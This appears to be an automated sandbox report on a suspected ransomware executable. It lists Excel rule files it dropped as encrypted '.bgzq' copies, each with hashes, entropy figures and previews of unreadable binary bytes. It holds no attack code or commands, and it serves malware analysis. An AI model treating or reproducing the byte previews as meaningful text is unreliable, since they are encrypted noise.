Preview:	<?xmlZ..=.[8....;.....%..A..x...j.c.<B......]..g.&1p.y^...pt..(p.dY...:.k..FZ..V..........yg. ......../..N.oT...T.x...`.h Q.i.)..gj..E.z.uz!...f....[/#.YwmV.x'...kD..^..2WX'..dAc.....G..Vf......E.]..@....jw.v_..1_...5..l....2\m...S..` .qb$/...o...K....)}.5.....y?...h%.:._.3.m.p.;...S..Hp.9.zcD}..&.0.ce.....Fh..v...U]Fj...J.6.(]...`g.E_.t......w..iu..FqSvI..........S...,07...q.^ .h.A.($I ...r..h..@8.%.."=..C)....o9...7......V......5..>o.6..M..h}.S.Rq_...A.2..J.....R....p......~.L>...6...:...g.N......V...y[....=..X......a..".....<n3.../...!:..V].5.h.BB...!)8K%>....d.szc..eSc..[o2.....3U@...w.T.n..G.V>0.C..M4...;.d8s.....N.s)WX..e.'.S.D....W....f.<.......NF}.j.8 ..,..>$..".G......$.o...*.... ....T.V....E..+..p...-7v.,..l...H[..8lH.z+&,tL+.....'.;./.D...;.X...$.2$R...Z~...#...?..OS..M.M..bN~..W..G?,.M-.c...\.]1..1...Ou2...M.E.t9..RuQ.`.~-......6.2.).D.2T...S....gz..~:`....S.fG......U'..w.y...[...R].-.x..@..0...A&........./...j..@..O

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.784658645646556
Encrypted:	false
SSDEEP:	24:oC9MQ6LXtB3Emlnchtn7g23bKD7w9ZAuH0plS7e++UiCVbD:gbzf0GnSKD89dylIexOFD
MD5:	8A7ECC943A61F39D8D2B7223E32D93DB
SHA1:	650ACB444F299FFB98E8E228257E4F6EB19E3EC8
SHA-256:	7DFF9C160B8FF9A4D7B6A5AB5982E517DE099500F10610CA64996CFD3382E2BC
SHA-512:	3066BDA24BA167CE6C0B1AE001DE1E872D56B02E60F8B89583362273875889CF5B4817323AA5EBD21A94A01BF7F5B2FF59D8AEE1364A319910DF95FF485E36B1
Malicious:	false
Preview:	<?xmlN.@..}....R.&Fu<.+,.s..`..f.....o..G......t1....J.d...8,.....SM..H..i,...-..U_NB...:.....z.E..M#.~.\|)m.!g.....5..x....... ...Y.(.Z_...X..\...~.>.[uA..w.H...d.Qo....jIjk.k..}........p....l_.I ..$...p-..Yf.Z....;..B.\.r?.JNMh.u..f~.V..+ud..74...}P...S...efA...].:~:`015?..m.{u.5.J2&.m.....M.yn. j.E... .HT.%f.....4F.. ._..i..zz.....k{...~.!H$...Aq..w......[.;...O&U.k.me...yT.A.%.I.N....~W.I..G.. ........8.'..7Q....1.,.....{..BXM<..s.v.tF.7...(t...?..F.70\.e... S..u.-r)8.=}..1"..v.e"..9.......0........X..<.P.a.[....^..<~z...\\0..P1@.........d..~Vs...[E.O.......wx.E.p=....G..H.......Bj0..b=.f..Vm.....lj.......v.e(.z...<..[.....".ISj.D.C.......n.....2.Up.......-.....n.Mp.Y..<..m.+...As..H......9..)D$...l..ka$............p.P..M...7....\|...q.a...\...GR.v..7G4AsI...K.Q.....M..]...HL.....D}..+...v..<G...&...7j../.\|.3......Y,..i..(.Gr....].........JY.q..jH.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.949943048539463
Encrypted:	false
SSDEEP:	96:0lqymAi4vT6bjYMm3JP7+H8nCt3mVmpI55WLZFTl9:xpAneMJi8I3OmeeZFTL
MD5:	DCF6935B03531843E7912DA23AEDEAE0
SHA1:	7247F8F4D626213E71DAFA38831965763B722AB7
SHA-256:	37ED5CB276B0808FABF4A762E0794CD777C4FAF18FA7EAC903023EFCD1C238EA
SHA-512:	6BE03E6054793A65E1D3D8CBECF4F551A810F7DD88C9FCDA6FF2E78B9D8A56B2736363E00D1117B0FFAF0CEE1A1FF2547917F2E1E687FEA42A5DC4C11901FFFC
Malicious:	false
Preview:	<?xmlR....l?^hH....D..;... I..w..Z-[...1.`..xA`.z....w.`.....,wbW.l...@....L.....S.#..N'.x2Gb.lv../..K!.E.`).67.E_...g..g). ...h...-:fw..u.....Lz.\.....x...".....+!z.H0..)1.m..Y!G...]..D.hJa..N..u{.t.q.zJ....a..`..-........5.U....c...z.....v.......B.p$..-.+....W.y..7@l.Xv..`.n*.1..-X..M.........9R73..K..CIa...Z.-.F..w.4.....=.....;.v..l.oI?.3X...$..o.9i'Pnh.2......'.....?."...VB.0....7.Kt.XC....6#C..$y.c>..y......7......y$.>...f.h..B.O..";.IF....&@..W`..-..6B.X.y.......w.....=@....)...'.b.>`.'.e.yG.W.rG..!.{g{....l.....U..W...N.....3..(..C.{i.)oX.W.E=2.I....aX.}..k.q..dV$..+..A......Z-zs.pr.p4......t...eY..s..gX../........j..:...E=..h..]./..PT..?..m..{1J.^T.u@x.6t..U6N1l.>CH.dF...F....no...o>E+...6./!.V.....6..;....g....^.^........../,..v...D..S.Iu+m.V..).Eo~_.A....?V..)......p.Z.\|I.+O...d.........>.2g]Elby..nxpA..d0$m..L............+lc$y2.;e..II8rp..o..8..F.^..x..;\dn.8.}Z..Q...Ig.....0..;..[R...G@"bN..0K..o..R..r.....8.Ba4.jxJ

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.936210406996015
Encrypted:	false
SSDEEP:	48:Hf4O0tvhz5UtaFxs64mOH92+ycA3zV4/24PKJUl2AoDEEGXtNMnpNvHPF6kLbHO9:HAO0t5zpxs645d7yN3zV4/bCWOE7tNtn
MD5:	B8B060E254189CFD05DF56D97E7089DC
SHA1:	6884BF615477718BE887F649C1BAC085FE7A101E
SHA-256:	2B5D0300DAC23AC4649E6C5BCB2FDA45F24ED35C0BB47B3C8E0B1DB6CCF529E1
SHA-512:	3550A2A2E54A90731C606850E9069083B09234AAD5076E4D4296AD00E264788549F6920D8A61D7ACF7D957467357F3153D3AC5B86EC2E8F996652C26096C3728
Malicious:	false
Preview:	<?xml...{.G\...\....T4~.o..I..M?.s...7.d.A..=...(.;...,.l......m...u..!n.H.....1D.........<U1...h>.<..-`.g.D.@..T.c.=...R(..\|o.1...+...u5..V.Xt...6.W..'...3R..fb=.d..O._...uU.......U...1.c..%.u........:C....o1Kri-.9...t....{K2.l../`.....H6 .O....%.:}tf..V6.'..^.s.Ycc.f.+C]..2.w....P..0..^pmD..N^.,........4.[9..C..Ge.<4...C..z.....K.V...+w...&AX9.<.....M...n....t[U.B.....9.....>..b..!...T>.?.@..{.xp}.AEp.D.).!q......}8..<......v....D..6{.z.0..H..;a.....3V...G.w..6.w?.X.....l..`.j.gx..F.C...)....^.i..>"...R..'w.`...{1.-......H..N.....7.....3].4.... ..._.....-2k..`...H.......(B..W..iT..._7.T7....A..:......7.V.c....v....I.:....~h..1..}...9...c..F..\|E...sG..+y..D.k\.[2.V.c..Q...(yz.......O...mb.....r....<.@s...o2.....X.P....HWB.7.H...`7..$..qE..B$.{...6oMU...[..:g.:.....?D......%..Uh.......U-b...j..(.$D...&.6a.d...ArCu.<.q...b(.u...7...f...a.........zZ.......>.\.b.u.1.2..X.%..l...G.(...S.Fv]/..`u..'."...Y.......j..H...}.!E.&.......pH.d...w.2..\

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.940907774339737
Encrypted:	false
SSDEEP:	96:ozJcjQxUuCk5LfYxtEgRYVA7KDSf4gIfmUQTB2H9:WJvUuCkBfYgKYj2wgvhTK
MD5:	D1EE76948E8294C3B70227B1F7C4B040
SHA1:	D782DC9C506C2FCD5017F80991CC821477A3BBBC
SHA-256:	6CB489FE929F0816DA86BC5E73C5547B67C8A7BFDB15F5D849539F0B8BCF359D
SHA-512:	5E168E2DDBD5D202EEBE7E822B2C08352133D50DE98BE5CFCF8F91F163634A0AEBE1F7056AF6B71428E5B14C447FFBD2C030461EDF43E85DE143FC0AFFBA6D48
Malicious:	false
Preview:	<?xml...n(-..E..<.i...{.f~J8..0..J..sRr.4H0..ysh....N.x.....:..-...=..,.Z.U.......6,cJ..3.g..B...+X..:.j.c.Z6`o.<.s.........:.<m._..YnO.m..\3k/.'y..q.5..\...}.x$#...r&>E.. ....N{..z....&...CIZ..S...I...sD.)...V...1..c{....R....([..C.0..vFQ%.?&.>...6.....T...h..($.{...3W-J\|...y.h.o......:.[....)....bJb...r.F.A..e...$.....(R...?....;.]Y @...H.H..h........=O.e....,.Y..]...#"....!.@.....0.h..$.<.b2.B.......L.+H.....7.$&M......^s&.SJ.Yy..m{CdR.....#.R.s.a....D.&.S.4%u...Fu....E..P2..8F)........s.S.w....[.._"J....c.....L`>.H..N..\.-.........0m.\..PsF..-..td..z..5.;8`....vI..3Js.+.i..-.~.e.cB.O...1...\|C.&P@.my._....;.<.$.&dX....k...e.L........^..o.8A..S.%...N..x.p.n.Sp..\|r........v.d3....NB..].0.....Iy.!..k.^.m.Y6..iAX.....t...h\|..h..@.^..y..CJi...\|....._....;.....GY...F.qv...R....s .....+..~d.0...#_..!o./.I...q.!.........3....++H1,.K.LS.-....x>.,5.+l....M..N\|bD....h1,.I.../.....t.4..ck.......k....>9:....e..9.X....=?%{..-u..t.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.821281092757859
Encrypted:	false
SSDEEP:	24:VgZZuj6sf7vmNB6TXGzv1BlDS9hTb7mBuAhJI6gpMGJ2DbeNVbD:VgSnf7uKXCHNSHq8AhTgpMGJdNFD
MD5:	2E5DAD5450844089124DA8D48D8FE689
SHA1:	E7C565C6E8ADD3E4C22C74C54AEDB2818CE0A318
SHA-256:	3D6E5719CE44B1CECC48A0D82EE51FB2191558E1899FC028505FD93B48EBA076
SHA-512:	74B8C51B36912209E0CC8CA987DFB1295110D3DDA3C267E6F18086AB0FD59C9619EC91BCE6409E638D88F8468F1AB2637EDF2FAC03FCB2ECCFCF7248E81481E7
Malicious:	false
Preview:	<?xml..0V..h..s...\yZ...#p........!.k...e.........o.}.j...{q.XW....p.d......2.#./.X..'.`.M..".-.....Oka.../9.p5.............q..i.i...H{j..d.6R...o.6.3-.-$1...[B.E..#\|...Z24..1...A.l.:.}.}..1...MN..P..:9......a0...)..RR..}O...gm...y-s..J..V..#.U{e........[lM....H}x...y..j..S..u...-.}s...0.#M,..IA...%._.r..l.......7...p....2..l.0b.2h6... ....g....N......4...`Re1..}EA....v.x.Yf..1.p...s.b?}..J.T.....u...a.jAv..`[D..7..QM..i.BN.I.&.%L....r..0....KO..FL.....X.wUIt.....D......bq...~.....B..,>...!."....6.-..)z..tb..yb.b.S..QqL..f.&..%.F8p:.A.1.f.F.....B...?....'........T.C2.0...L..'..F..J..g...........!N.........x.9..N...........V..V.........)....R..!..5....^.....k.\|^...?...Mx...z..au..........1.,... ..p..7.K..,S.}..E.v..W).sP.X.*Z...@......h...E.Y\|..E..j!.....d.....k.m.\"....?e{.p.@..9CO7.Z.}m...b....t\Z;L\..I.........3..a..2wk.S.....ID.p..."K..x........m..r.@..-.\|.E.......h7<.[CR...1n....=....LJ+4.......&.....r......+N#1..c......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.916824202570671
Encrypted:	false
SSDEEP:	48:CIpiI8JMTptC4I69U3Gc8KjF6M1FxX1mVXDnx04q2ujAOBp0jEFD:6I8cy69U2c8K6exX1mVXDx072EAOBp0o
MD5:	17CF81CD73996053C07CC8D00C4CCD60
SHA1:	A020943D7935E5A237DFEF64E7BCF2A8CF308179
SHA-256:	BBC780A5D4FB4D4AC800406D5B4AB5C66E1DA100AD89488CDBD8ED32802EB399
SHA-512:	DB3579D789F36EE4544026B4C2F390F351940C4492BC74D91EA92124C6FF342068BE696C8E78EFE68B76D9F19F796B22DA2DCE7514D8563C45028A513C73B1B4
Malicious:	false
Preview:	<?xml.u.s.jd..a...J. ..R..w.e3.7-...3...!...Z.j8a...5.E..........%..wL... ..T>.....X..9.15.;)...^a..g..D+SEH ...f1.-.F".P.e:.i.\|..dM.._E.7..H1n...V...T.\...K[.{...;.l>..Q.w.#.o8.\..W..x.9.q..X..Y...]..Do....o....7........b.-W.f.;.jT)...&..I.\|~....M......y..LGk..m.s.71n...U..$ii..........g9..bJoU^..yGu.:VW:...{..Q~.,K........=...M..^&.. .J.\..Z"j....w..n......q..a.Y......3E..{.}~.>..E.z......)...M....f.7Qx..jG....z=X..,S%Vn.xJ`N....e'.{.....b#BI....ff...:...~3c;.9...o..}...eL.0....R1.Z.o\..i.u...9G..D.../.;.Tsw....o..Y.....].$.F.D.....^.'%.5...\...p...'.VAD..u.2....=.....O.v.......K)^.S..vc&EQY..b.[N...D)..84(A.3..}..T.p_.z...U.......dO..z..29Oe..V7V+P..ffU.(${...\..uV[..l..\|N..v..._(@.x.LrH.s.K..].l...)!.zf\|.y..h...Q....MY=..........D..gl...m.5.....W.\z.^n..D...1&]).H.Sw9....#.L...+..A..ta{.k..nl.h..SDt...`.....I.Q......v.}...n*...NWo)....(....L.r.......~..l...~..g...H[w..t..8.....+...4.,...0...b.._.Z._.d../....&..G.s..(.8...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.889119296680913
Encrypted:	false
SSDEEP:	48:eiEYivWyWhCOq1pmL5M5fE9kglX78YiCrqjPxNUPIdNyJiA0VBYiigQqfFD:eegWhc1IlM5svjqcqb539
MD5:	ADB6620E4ECBD0769B62A6C83245F267
SHA1:	BAA7EED48B249573946F3E3627F38160251BE064
SHA-256:	6B8C78E95DECCD6571EC86243B6073671C3BDF07CC30A60159152027472F4F40
SHA-512:	5E3643FF1C73E98C309EF86D278F13E3D4512E4BDE181E2B29915B975EF784CF513704B639B70DE721C7E5BB9905CE85B962781844508D6199A510882D8C7E15
Malicious:	false
Preview:	<?xml...O(X......"..t..e..-Y..~A.\|.euM{...u..].2.C......J%^.......`......#,....W%.c..'a.#%Z....:.f..dv.f.#T.. .z..w..^6..-..]...).&..%>;....$...[]Xz...$_.J.....V.-..ip.....t3..[....a...h.?R).....J.....j.l....j.i..._..k."..Xv}.. \|t..X..A}G..x.?."P....)M?.9...f.:".9.#z..A.....C........[r..u-.W.g`.c..:..2..k<.av...).....M....E=.......tQ.ut.H.v...1.8....1TMZ..C.t.f.)..Uu.....rZ8.P?IR.]F5..b...JZ...[W..0{.hv..R.....9l.......{ue.T....qb..).q6.<..V..-.I.e.GL....O]..61..q.......G..E(.h....L.P...3..!2u.=.$,I..iV8n9...cE$..Z21b....2...k...Ul..K{......\|..%.b.V.k..+.R&[0.(..{..d....<...[....-2I...d..........%......[B...2.....D5.=...0..HKTuR....bm.j.E..L....p.5.Y1'.........}....P...P. .&A.....;KUT..(.h.....!.+Y..q.e..B....(...em}.y.>.........#.....@5,.V....\.:I.@'.U.n.L.~l.L#0["p=#.ad.k]....f..N=P...98....+.....n..T.r.u5.T.'.(.CB..v....h`.D1n~&.t...&k$D.%..j.O...oA*#{..'M.S..2V........DqS.et.o.../...>......i...2o....d_.....Bv..u.....l

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.865204292717551
Encrypted:	false
SSDEEP:	48:E37eisp6/5KgsbRb9HubjPOjqK7RbZpjQzpkEXIYw18TFD:EL3KgsNRIjPOjqK19p0zpkErJT9
MD5:	261E3E77057A16430A252A92EC768AD4
SHA1:	2D17329B31A832EF9C80DF08DEECD22C3B141807
SHA-256:	232B5BBC6DCC18807532676E2078C1660C80CA1020F30C22769804577B7842C7
SHA-512:	1E1209D41DF09D25703C44E9F1F44151510215F7AC1184322C80DAD43045983261EB78A1DC70D04C61F8AE257BABD9AB95B73CE6611DB4CC17BBC893D38A516C
Malicious:	false
Preview:	<?xml.F@.!s`_.!.8}.[#.`.....T.....`YhEJ.e ...)...C1p.....0.2fRS......v...ey..^.:y..yv`T.....=3Q.T.N...9..........^.C.u'....A..,.oc..3.>..EL.{0....>.#.2..{.4Z..Y....$.D....=".o..../..f.p.Pf...z...h.a.T.q.".....U.X.,N...J+.. ..J....'....}..(...c.0."......b.QM....^....F.p...=........$.:....=2....Y..9O&.[....~E.9....^.CV6~.)+Pldd.9NR.....u.=.U......._&.+)..;U...1....m...-.k..c..(..>.eM...a\|... I!.<..>...O.......$..B)..`......6........@..U.w........l$].\N...9....H:'...y.s.a.od...F.L...[VX..h.s..X.`.....Jp..my2p.rs..k.OA...K.2.Y.7s......j.Id.......CG.^`.....+&.k.\|.h).....4d..5.h.;.e.......C.s.1.3..s.1.;j.......)......\|"...&............`.....zDk^.bb.q...F..oc...-.'.q...znO...#&.{.'.1.)U......{. ....L....y.....qB.s..:.....I..M7...:.i..!.X.35&..:...B.&.n....:.B....P......C...w5t..`........S..;..5.\&...w..,.m...#......Cj..M.i!..)=/.....$.EF...H>.6.[.. B.u>ooe....".1....D.m._-NL......b..6..u1.j.........Ab.....D.oYa.,{2`fu4......s..T..H

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.932171758245712
Encrypted:	false
SSDEEP:	48:jumnRhzQjlluhlszwsIVs/4fgkd3QxYrM+PvVL2wLKg/1Vw8/UgNFD:jvhzQjllfksf/gvdgmrMI9KUEgN9
MD5:	C5379F9CA7DB5E4B86E79C208C72125F
SHA1:	DCED633A848F2AC17C0B9B6E27CF8BFF35463207
SHA-256:	07A320B065EC57E5727BAAD11F40513465C09CFA0285519C9445236C778AD9FA
SHA-512:	2FECF58F3797D433FE6619F26F5D108DF9D95352FABC3242E19B9B22C4C7508C14B410A7122FF3B0EC1BAF0BBFEBBDAEC19AB7D3FEEA32B4475A2617A53896A0
Malicious:	false
Preview:	<?xml>.....P1X.,.........?...J....w../....$A.......:...Jl..j..TK.Z.f. .;l..g.vUU....+K.JW....K^u........m).o....[[$.zl+G.T.b..K[.....i`....Z.p......(O.aa.x...#..8.>iuW].I...`1...y}MxD.(..je.......O%.W..X..}.^t).W{....o.....E./.b=...t.`v..kI$.....U......u4.~..& ,Q..f."f.U.#.7.'VWg.t.RN....Ly..S...G(.!.D.9..{......eq...Z..O.x......>..{...........>..L.8....N..?!,.V.m..I..u-Pq....>..?....K..........."...@..`......m.9F,..-hK...!.moM.,..te0....7...{...}2MX.....!.c.\|.q.#..m.UY.1......J.B.F..8.o"..@..V...c.DL....'....!t}.....pVk..W...B].8!...v.e..N.......b......~...M.....2m.l.mj&.Z/X.#....%\|~;xP`f&.w6..Y.#.w...5.y...._..A....k.1...i.Q...rR.'..5F...L....8...7K.W.q...X.%...._O.....S.6."..j.]{......c.2E..\|?...L.v.\|.H].....E5.R,....BOC.O....V:X;.....6...g..w.9.9.3\.2....P.....1....}.Er...m.C.K.+....mW#aD.=..$-.....Tp..=....=u..3.9.p.2b......?..S...n..O..7.xj.T"..vM..b....xS...-.Ys..*.[......A...jJ.....7.d.8..n.%.Zt..J.>..U......D(<..~.?3za/L.1.+..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.954705473897237
Encrypted:	false
SSDEEP:	96:DZKe9LCOLXjtorbYPrgZDEN4Zi+MV3ULJX9:VJ1C4Xj4bOgVEN4jrj
MD5:	6BABE5B0943DCF27344D1A4DF81FDF5B
SHA1:	97E81BF108552B3611E3FD9C0440B6770694510A
SHA-256:	056FC0E081888E1F542A2B3057BA65C7B5D3C927C72F82BF74D1B522B0A1FB03
SHA-512:	0720CC15330E5297BCF4F9F6C3B96551D06E4A0B62EC062C07F55FA1BE0491EDCB3C2ABA8957827D60BE188E3E7454FF2F65BE9BB13E22454EFD9F84014A691F
Malicious:	false
Preview:	<?xml....b..........&.ZN.M..D...............Y\|]&....RjQ.\O.}-..P>..Z.3.<........8......Q......Q..]...l.e~O@.;......vu=B8.`...51.~Q~.+Y.c8g..........NK...v.X...+X.........%".].r...".f..:F..1...f[.-t&.L...%..t...nzD.z.......D......+....pUr....P'gKE...a...a}....u.Y>...s]..tMO.M.....^D..d.3.w...,..rz....QM.M...p .3...J~...D]4...4.nw.....$.\|y......bz....hq...9%U...J.5a...I.E....rx.c.D.".D5.R'.8.V[..C.u..I.fU....x}..^.._.].9........o.P..t.h]..5Q.Br.F....U<.}..r....}.R..b..4....3K.bg./\.. j....n.].UwFp..,..f5Jp..6...1SH.%.[W...HE...o.E.b.I.h#...%..k.[.b\|.\c.H...`...f.(=.&8..{e....9..P.t.7..[.z.x..~G.wK..Wn_.....=.......n\c.........'...o[..=.N.....H.-.2.x.......2.C.}."._...M,....5..>........PU..!d..xg..}W.....o=....+@..[]...h_W}W.jR."P..b.v..vU....->Y.\.u\.Z..k..jT..[......@.Nq)e.}....?q~....AAiw..K.Ua.....T6.....f...y...T.G.).&...1.e....*..m.b.g....4..o.A<Wa3..p0.f....l...Z....Dc..r.\.7.+..C.r...._.4.).6....O.....:L3...H....W..aa.9]

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.979155186966346
Encrypted:	false
SSDEEP:	192:J5NKghsgsqCf91jdh6Rxn01SVrJwaX5nfQQV2J5XMPz4+ZjID6Cfu2k2:J59GUCl1Zh6caH2Jlzmje60u2P
MD5:	0FF181FC89AD071580EBD409D1A39D8C
SHA1:	D257565C7EB4F08C1850D1E7FD066553FA9CD937
SHA-256:	7BD51818A7ADC7E31B7C05508CDD0F86E2076543E3ABE635FA3350FF4E21DA71
SHA-512:	13B5C73B5FE6178A696CDE66CF305311C01BAC65B3C0163BB1F734C806FEA9667D7543E2C3DE77E3B919F88EAB823E1FD5B75FD79B2A010EAE4B86CA58CBDDF2
Malicious:	false
Preview:	<?xml....j.......\I..x..$^...I.+#..;>[........I...V.....9..W.+..p\".]....2Y.....Dn...,..a.G.....-...m...]..U.`.&.P...V..V...6.L.v`..q;.H... .q_c..B.....:.......2...H...v:..\.Z,O. ...T....j$9+.Jg.4.[.&..fX2-.........B.\|},....P..S,..TP..#\.Rc.......d.67..=...&........A.. .m....d.Q...P.....!.Os.G<.?.uqQ......8...$HZ.....kEP..zL\.A..kw,f.....!.k.I..z...+./..l......d_...c.".....u.....B.}..fd..1.[6.......1)k.s.Q...\|..........i}....O7.....X..'...S.I.......o.%...L[..\|f..=...,}8.....e..^I.....3.AU.......be......mU.UU...2...k!.....C....t../....!.C)....@...H.~,...`.W..o~.'....-m..K.h&..O.f*.r.p. .t. 3....6...wo.3Ptd[.Z...rhe...]O$&g.\|.."\.}.5t.Gk.....,....s.E...'G.....sZ5.....8>-C.\|.........yj...S.y...D......08..Q/W.g...!I.0.O..s...Y.TqW..#.....v.._.A......X.~..V......)Q+..@..(..4.`.U..p:. ......>..F.N...M.G....b#tfo........l.:.h..5.#.T......\|.#2..0.......G...._....T..M.6..C.....8..h..hG.^2..._d.5.v...>j.s(#.+.......>rz..j.w.r.@$..U#

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.935615327681209
Encrypted:	false
SSDEEP:	96:jAYhJZ0Buqt8XZh2kg1Tk5cSBgXKGZykU9:kYTKuqCZgkPcQGZDs
MD5:	2BB344F3863D5A2CC0AAAAB9A9783F6A
SHA1:	9EC65B771EC9C0313BABF716B8813596D79B9426
SHA-256:	1237355756CA5ED6E6C88AF948329A6F666B75FB49B82BDE69517927F9F8C0C2
SHA-512:	5C3C6F9070FF816C0611392A0CC5CD9973957794BDB9A0D4B0197899F1C6426868C8001961EA816758135936C73671737766BDFDE85B012937DA0A370CB3DB9C
Malicious:	false
Preview:	<?xml...}....p-R....G..J6....7.y.!.2eD...........^.y...2.(....h...%...i.....X~7(z.\..rk...0b.c..u)f3..m.3.y.......d.q..Rom...C..A..Y.eL.6.9..T.xr.....X=.1...y.'.K"f...W.X.[!.F..@..m.`.p....?&a.8^..{,>.3..xK.h.a%.0/.+.....ti..zp.a....#..........f.-...w.t...%gH+,3@K...r.Z..t$@&3\...Qj.[.Aoz..e_),..xF.xq.^7......Wx,WW.1..lX....t..Do...yncM.V$.7j..7lO...{1dVc.....V...X{.jH....7a.,.s.w.~....FrQ.d<......Dt6...'..8*{6V8...T..................#.L.\..eQ..AB2.....kj;.)3E).!...G..7.....-..[.B.+6:2.7...&.....&!.CZ.E9O.8../$...N..w.^..4}..2y..........9Z.K>.>A.~.;4.......,"....'.!U......p..Yi......^D...<}.......`l.J...V.?.....H. .y.K....7!..7&.q...@~9..@.a.tG..U..6.".....F..3x.h...&8..I"........0.N....`=....c].3..?...R.P...D..........G....._AA"q,..</a._.+..di<W........nu....,b..i....>._........W.. ../..........?....;t.h}.`1..W....8~uK.iY...NL ;:G.4..D..,F.S}V..MO\.J%?.Il.E...3.o.....=F..Tg.n...C....../...6BYP.y\|-.\+.}..:... ..../..:7.\|Xvy.h

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.950842902269783
Encrypted:	false
SSDEEP:	96:lIvshfMBNAuWAlsuFxEIeJkm+ByzB7FfLSCr9:ljOBnFxEIk7fXR
MD5:	11BD2EAA42793AACCC619776AF51C77A
SHA1:	339790BC4A784937D5998CB5F79503A5C59753ED
SHA-256:	F9D74353CED455F2AAABA152B60E112AA1BF3C7BF220D99BB9C21AF3DE16007B
SHA-512:	8BBABDDCFDC80804BF007DD37DCB4BA08FFA705DDA6F5AABC84AED9EDE791AF08825F45B9E5352B69FCA6325CA870B5265DFA5389166ABF22C30A8E3B1B1C71F
Malicious:	false
Preview:	<?xml..WU.V.....,S...{.1..u.Gs..@........T.#..qoCui..........'4............r.......kX.+}...W...v.z...FQ....8i..`..FA...D.6.=.^....BO.......mx~.2H'.g.ad.$...~..E...i..s...q:..Z..;&".B.s.~$..Vc.L.H..8^...9"......z,H..0.......\.C...zO`nZ.zH...O..."..~E.2..........{?-...X.......HLX.nn.H5..QT`....?.&...M....&....E....'./j...4.....X.X....<y.Pg...W.k..\h..0.i..bM.ir....h........o..CLn..PKw..k..K.>..L'.=..:..?...;s...O.F2p....a(GR=.-..sZ......'.....~.diz..dnwk...1o.qc,0.....<:......l..r.{...0..V+.B.;`.0.]Y?..(.]......E.OU.......t...?...}+.........'...gK.g.....JO\|k.'....I...0..Df.XLK..fX.....yp.=.z....l....O.........zL.;.@9II....<[.)..Z.H.A9\|....h(...i?3p...q....,b..g7..dG.d..i...s..m........(.~..vu..U2...Y....M.......:.h..'......$.<p.H.T.P..e..0...~$v?`..4.....`f.....3...>.0{.{.l.0.o...8)+....N.7.".E...>.&:.c<...w=u.6:I..A`B....R....KXq.JK+...`I.O.k.T,....Zti.L..p..i.F.....t......e..S..V$..7..:......J....Y...J.O....\.sJ...9:..>.H..%..p..$sg....3..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.93762519308086
Encrypted:	false
SSDEEP:	48:/dfE84z33RmeqvYb6oXJZqta86a2GXCfkF/vgAuneGouaqu50L/TRAneCl4GpS5M:FfaLBj6wbqta86adIWng5neGu507g7OS
MD5:	62168F48D39395C7A3B0817F06B25440
SHA1:	C161ED7B0748BC15F3747C1D254F21ED806B1755
SHA-256:	FC56426941DA4598EBFF18C6DF0226F9AD34725206D1C5309DD8C4EEADAC4880
SHA-512:	33C6C5AB3E1DFE38FE387BD96EE71F8DE1A95E1A8BE222D6327CE2FD892A272415A6BC7A473F41EDA625D43F2B2A745293976FC4722E72D3BCD874E05EB2DA81
Malicious:	false
